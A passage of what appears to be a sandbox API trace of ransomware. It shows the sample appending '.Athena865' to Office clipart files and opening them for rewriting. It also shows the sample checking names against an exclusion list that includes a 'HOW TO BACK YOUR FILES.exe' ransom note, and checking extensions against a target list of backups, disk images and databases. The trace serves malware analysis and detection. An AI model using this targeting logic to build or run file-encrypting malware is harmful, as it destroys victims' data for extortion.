(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.athena865"), dwFlags=0x1) returned 1 [0135.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.446] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=410) returned 1 [0135.453] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01240_.GIF" | out: lpString1="WB01240_.GIF") returned="WB01240_.GIF" [0135.453] lstrlenW (lpString="WB01240_.GIF") returned 12 [0135.453] lstrlenW (lpString="Athena865") returned 9 [0135.453] lstrcmpiW (lpString1="1240_.GIF", lpString2="Athena865") returned -1 [0135.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.Athena865") returned 73 [0135.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.athena865"), dwFlags=0x1) returned 1 [0135.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.455] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=333) returned 1 [0135.459] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01241_.GIF" | out: lpString1="WB01241_.GIF") returned="WB01241_.GIF" [0135.459] lstrlenW (lpString="WB01241_.GIF") returned 12 [0135.459] lstrlenW (lpString="Athena865") returned 9 [0135.459] lstrcmpiW (lpString1="1241_.GIF", lpString2="Athena865") returned -1 [0135.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.Athena865") returned 73 [0135.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.athena865"), dwFlags=0x1) returned 1 [0135.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.460] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=386) returned 1 [0135.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01242_.GIF" | out: lpString1="WB01242_.GIF") returned="WB01242_.GIF" [0135.465] lstrlenW (lpString="WB01242_.GIF") returned 12 [0135.465] lstrlenW (lpString="Athena865") returned 9 [0135.465] lstrcmpiW (lpString1="1242_.GIF", lpString2="Athena865") returned -1 [0135.465] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.Athena865") returned 73 [0135.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.athena865"), dwFlags=0x1) returned 1 [0135.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.467] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=344) returned 1 [0135.470] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01243_.GIF" | out: lpString1="WB01243_.GIF") returned="WB01243_.GIF" [0135.470] lstrlenW (lpString="WB01243_.GIF") returned 12 [0135.470] lstrlenW (lpString="Athena865") returned 9 [0135.470] lstrcmpiW (lpString1="1243_.GIF", lpString2="Athena865") returned -1 [0135.470] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.Athena865") returned 73 [0135.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.athena865"), dwFlags=0x1) returned 1 [0135.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.472] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=431) returned 1 [0135.478] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01244_.GIF" | out: lpString1="WB01244_.GIF") returned="WB01244_.GIF" [0135.478] lstrlenW (lpString="WB01244_.GIF") returned 12 [0135.478] lstrlenW (lpString="Athena865") returned 9 [0135.478] lstrcmpiW (lpString1="1244_.GIF", lpString2="Athena865") returned -1 [0135.478] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.Athena865") returned 73 [0135.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.athena865"), dwFlags=0x1) returned 1 [0135.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.480] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=467) returned 1 [0135.487] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01245_.GIF" | out: lpString1="WB01245_.GIF") returned="WB01245_.GIF" [0135.487] lstrlenW (lpString="WB01245_.GIF") returned 12 [0135.487] lstrlenW (lpString="Athena865") returned 9 [0135.487] lstrcmpiW (lpString1="1245_.GIF", lpString2="Athena865") returned -1 [0135.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.Athena865") returned 73 [0135.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.athena865"), dwFlags=0x1) returned 1 [0135.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.491] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=341) returned 1 [0135.494] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01246_.GIF" | out: lpString1="WB01246_.GIF") returned="WB01246_.GIF" [0135.494] lstrlenW (lpString="WB01246_.GIF") returned 12 [0135.494] lstrlenW (lpString="Athena865") returned 9 [0135.494] lstrcmpiW (lpString1="1246_.GIF", lpString2="Athena865") returned -1 [0135.494] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.Athena865") returned 73 [0135.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.athena865"), dwFlags=0x1) returned 1 [0135.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.496] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=462) returned 1 [0135.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01253_.GIF" | out: lpString1="WB01253_.GIF") returned="WB01253_.GIF" [0135.507] lstrlenW (lpString="WB01253_.GIF") returned 12 [0135.507] lstrlenW (lpString="Athena865") returned 9 [0135.507] lstrcmpiW (lpString1="1253_.GIF", lpString2="Athena865") returned -1 [0135.508] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.Athena865") returned 73 [0135.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.athena865"), dwFlags=0x1) returned 1 [0135.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.512] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4087) returned 1 [0135.514] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01268_.GIF" | out: lpString1="WB01268_.GIF") returned="WB01268_.GIF" [0135.514] lstrlenW (lpString="WB01268_.GIF") returned 12 [0135.514] lstrlenW (lpString="Athena865") returned 9 [0135.514] lstrcmpiW (lpString1="1268_.GIF", lpString2="Athena865") returned -1 [0135.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.Athena865") returned 73 [0135.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.athena865"), dwFlags=0x1) returned 1 [0135.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.516] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=427) returned 1 [0135.521] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01292_.GIF" | out: lpString1="WB01292_.GIF") returned="WB01292_.GIF" [0135.521] lstrlenW (lpString="WB01292_.GIF") returned 12 [0135.521] lstrlenW (lpString="Athena865") returned 9 [0135.521] lstrcmpiW (lpString1="1292_.GIF", lpString2="Athena865") returned -1 [0135.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.Athena865") returned 73 [0135.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.athena865"), dwFlags=0x1) returned 1 [0135.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.524] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=597) returned 1 [0135.530] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01293_.GIF" | out: lpString1="WB01293_.GIF") returned="WB01293_.GIF" [0135.530] lstrlenW (lpString="WB01293_.GIF") returned 12 [0135.530] lstrlenW (lpString="Athena865") returned 9 [0135.530] lstrcmpiW (lpString1="1293_.GIF", lpString2="Athena865") returned -1 [0135.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.Athena865") returned 73 [0135.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.athena865"), dwFlags=0x1) returned 1 [0135.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=679) returned 1 [0135.536] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01294_.GIF" | out: lpString1="WB01294_.GIF") returned="WB01294_.GIF" [0135.536] lstrlenW (lpString="WB01294_.GIF") returned 12 [0135.537] lstrlenW (lpString="Athena865") returned 9 [0135.538] lstrcmpiW (lpString1="1294_.GIF", lpString2="Athena865") returned -1 [0135.538] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.Athena865") returned 73 [0135.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.athena865"), dwFlags=0x1) returned 1 [0135.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.541] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=685) returned 1 [0135.547] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01295_.GIF" | out: lpString1="WB01295_.GIF") returned="WB01295_.GIF" [0135.547] lstrlenW (lpString="WB01295_.GIF") returned 12 [0135.547] lstrlenW (lpString="Athena865") returned 9 [0135.548] lstrcmpiW (lpString1="1295_.GIF", lpString2="Athena865") returned -1 [0135.548] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.Athena865") returned 73 [0135.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.athena865"), dwFlags=0x1) returned 1 [0135.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=353) returned 1 [0135.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.554] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01296_.GIF" | out: lpString1="WB01296_.GIF") returned="WB01296_.GIF" [0135.554] lstrlenW (lpString="WB01296_.GIF") returned 12 [0135.554] lstrlenW (lpString="Athena865") returned 9 [0135.554] lstrcmpiW (lpString1="1296_.GIF", lpString2="Athena865") returned -1 [0135.554] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.Athena865") returned 73 [0135.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.athena865"), dwFlags=0x1) returned 1 [0135.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.559] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=495) returned 1 [0135.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.567] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.567] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.567] lstrcmpiW (lpString1="WB01297_.GIF", lpString2=".") returned 1 [0135.567] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="..") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="windows") returned -1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootmgr") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="temp") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="pagefile.sys") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="boot") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ids.txt") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ntuser.dat") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="perflogs") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="MSBuild") returned 1 [0135.568] lstrlenW (lpString="WB01297_.GIF") returned 12 [0135.568] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01297_.GIF" | out: lpString1="WB01297_.GIF") returned="WB01297_.GIF" [0135.568] lstrlenW (lpString="WB01297_.GIF") returned 12 [0135.568] lstrlenW (lpString="Athena865") returned 9 [0135.568] lstrcmpiW (lpString1="1297_.GIF", lpString2="Athena865") returned -1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2=".dll") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2=".lnk") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2=".ini") returned 1 [0135.568] lstrcmpiW (lpString1="WB01297_.GIF", lpString2=".sys") returned 1 [0135.568] lstrlenW (lpString="WB01297_.GIF") returned 12 [0135.568] lstrlenW (lpString="bak") returned 3 [0135.568] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.568] lstrlenW (lpString="ba_") returned 3 [0135.568] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.569] lstrlenW (lpString="dbb") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.569] lstrlenW (lpString="vmdk") returned 4 [0135.569] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.569] lstrlenW (lpString="rar") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.569] lstrlenW (lpString="zip") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.569] lstrlenW (lpString="tgz") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.569] lstrlenW (lpString="vbox") returned 4 [0135.569] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.569] lstrlenW (lpString="vdi") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.569] lstrlenW (lpString="vhd") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.569] lstrlenW (lpString="vhdx") returned 4 [0135.569] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.569] lstrlenW (lpString="avhd") returned 4 [0135.569] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.569] lstrlenW (lpString="db") returned 2 [0135.569] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.569] lstrlenW (lpString="db2") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.569] lstrlenW (lpString="db3") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.569] lstrlenW (lpString="dbf") returned 3 [0135.569] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.570] lstrlenW (lpString="mdf") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.570] lstrlenW (lpString="mdb") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.570] lstrlenW (lpString="sql") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.570] lstrlenW (lpString="sqlite") returned 6 [0135.570] lstrcmpiW (lpString1="7_.GIF", lpString2="sqlite") returned -1 [0135.570] lstrlenW (lpString="sqlite3") returned 7 [0135.570] lstrcmpiW (lpString1="97_.GIF", lpString2="sqlite3") returned -1 [0135.570] lstrlenW (lpString="sqlitedb") returned 8 [0135.570] lstrcmpiW (lpString1="297_.GIF", lpString2="sqlitedb") returned -1 [0135.570] lstrlenW (lpString="xml") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.570] lstrlenW (lpString="$er") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.570] lstrlenW (lpString="4dd") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.570] lstrlenW (lpString="4dl") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.570] lstrlenW (lpString="^^^") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.570] lstrlenW (lpString="abs") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.570] lstrlenW (lpString="abx") returned 3 [0135.570] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.571] lstrlenW (lpString="accdb") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.571] lstrlenW (lpString="accdc") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.571] lstrlenW (lpString="accde") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.571] lstrlenW (lpString="accdr") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.571] lstrlenW (lpString="accdt") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.571] lstrlenW (lpString="accdw") returned 5 [0135.571] lstrcmpiW (lpString1="_.GIF", 